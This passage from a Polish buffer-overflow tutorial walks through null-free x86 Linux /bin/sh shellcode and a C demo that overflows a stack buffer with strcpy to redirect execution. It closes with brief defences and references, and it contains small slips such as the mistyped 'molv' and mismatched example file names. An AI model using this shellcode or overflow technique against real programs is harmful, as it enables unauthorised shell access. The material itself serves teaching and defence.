"\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46"
"\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00"
"\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh";

void main()
{
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)shellcode;
}

Po skompilowaniu i uruchomieniu programu powinniśmy dostać nową powłokę a to oznacza sukces! Udało się. Program nie protestuje podczas modyfikowania kodu ponieważ znajduje się on w segmencie danych zainicjowanych.
Przygotowany przez nas shellcode ma niestety dużą wadę. Koniec łańcucha w C jest rozpoznawany przez znak \0. Nasz shellcode zawiera ich dość dużo ale na szczęście można je wyeliminować.

Instrukcja problematyczna

Zamiennik

movb   $0x0,0x7(%esi)                
molv   $0x0,0xc(%esi)                
xorl   %eax,%eax
movb   %eax,0x7(%esi)
movl   %eax,0xc(%esi)
movl   $0xb,%eax
movb   $0xb,%al
movl   $0x1, %eax                    
movl   $0x0, %ebx   
xorl   %ebx,%ebx
movl   %ebx,%eax
inc    %eax

Po dokonaniu powyższych zmian mamy następujący kod w assemblerze (trzeba pamiętać o uaktualnieniu wartości offsetu dla JMP i CALL):

0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x80483a4 <main+64>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   xor    %eax,%eax
0x0804838b <main+39>:   mov    %al,0x7(%esi)
0x0804838e <main+42>:   mov    %eax,0xc(%esi)
0x08048391 <main+45>:   mov    $0xb,%al
0x08048393 <main+47>:   mov    %esi,%ebx
0x08048395 <main+49>:   lea    0x8(%esi),%ecx
0x08048398 <main+52>:   lea    0xc(%esi),%edx
0x0804839b <main+55>:   int    $0x80
0x0804839d <main+57>:   xor    %ebx,%ebx
0x0804839f <main+59>:   mov    %ebx,%eax
0x080483a1 <main+61>:   inc    %eax
0x080483a2 <main+62>:   int    $0x80
0x080483a4 <main+64>:   call   0x8048335 <main+33>
0x080483a9 <main+69>:   das    
0x080483aa <main+70>:   bound  %ebp,0x6e(%ecx)
0x080483ad <main+73>:   das    
0x080483ae <main+74>:   jae    0x8048418 <__libc_csu_fini+8>
0x080483b0 <main+76>:   add    %cl,%cl
0x080483b2 <main+78>:   ret    

Z tego kodu otrzymujemy następujący shellcode:

char shellcode[]=
"\xe9\x1f\x00\x00\x00\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Większość znaków \0 zostało usuniętych. Pozostały 3 które trzeba zmodyfikować ręcznie. Problem polega na tym, że instrukcja JMP operuje na argumentach typu długości słowa. Istnieje jej odpowiednik operujący na argumentach długości jednego bajtu. Musimy zmienić numer tej instrukcji (jest to pierwsza instrukcja) z \xe9 na \xeb, wykasować wszystkie \x00 oraz uaktualnić offset instrukcji JMP (drugi znak łańcucha, należy odjąć 3 ponieważ tyle znaków \00 usunęliśmy). Odpowiednio zmodyfikowany shellcode wygląda następująco:

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Do góry


7. Shellcode w akcji

Przyjrzyjmy się następnemu przykładowi:

przyklad10.c

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char duzy_lancuch[128];

int main()
{
	char bufor[96];
	int i;
	int *wsk = (int *) duzy_lancuch;
	for (i=0; i < 32; i++)
		*(wsk+i) = (int) bufor;
	for (i=0; i < strlen(shellcode); i++)
		duzy_lancuch[i] = shellcode[i];
	strcpy(bufor, duzy_lancuch);
}

Zobaczmy czy wykonanie programu da zamierzony efekt:

$ gcc przyklad8.c -o przyklad8
$ ./przyklad8
sh-3.1$ exit
$ 

Udało się, zobaczmy co się dzieje w kolejnych krokach programu.

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char duzy_lancuch[128];

int main()
{
        char bufor[96];
	int i;
	int *wsk = (int *) duzy_lancuch;
Inicjacja zmiennych.
	for (i=0; i < 32; i++)
		*(wsk+i) = (int) bufor;
Wypełnienie tablicy duzy_lancuch adresami do początku łańcucha bufor.
	for (i=0; i < strlen(shellcode); i++)
		duzy_lancuch[i] = shellcode[i];
Zapisanie łańcucha znajdującego się w shellcode na początku łańcucha duzy_lancuch.
	strcpy(bufor, duzy_lancuch);
}
Skopiowanie zawartości łańcucha duzy_lancuch do łańcucha bufor. W wyniku tej operacji na początku łańcucha bufor znajdzie się shellcode a zaraz za nim będą występowały adresy początku łańcucha bufor (czyli adres shellcode). W związku z tym, że duzy_lancuch jest dłuższy od łańcucha bufor, następuje przepełnienie bufora i adres powrotu z funkcji main zostanie nadpisany przez adres łańcucha bufor. Zakończenie wykonywania funkcji powoduje skok do początku łańcucha bufor i wykonanie zapisanych tam instrukcji - utworzenie nowej powłoki).

Do góry


8. Jak się bronić

Aby się bronić przed należy przede wszystkim stosować odpowiednie funkcje biblioteczne zapewniające kontrolę długości wprowadzanych łańcuchów. Dodatkowo warto rozważyć wykorzystanie dodatkowych mechanizmów zabezpieczających takich jak np. PaX czy SELinux. W poszukiwaniach takich błędów naszym sprzymierzeńcem może być np. grep, ew. można wykorzystywać oprogramowanie wspomagające takie poszukiwania (np. programy profilujące).

Do góry


9. Bibliografia

http://www.phrack.org/phrack/49/P49-14
http://www.linuxjournal.com/article/6701
http://pl.wikipedia.org/wiki/Buffer_overflow
http://www.enderunix.org/docs/eng/bof-eng.txt

Do góry ::


Valid XHTML 1.0 Strict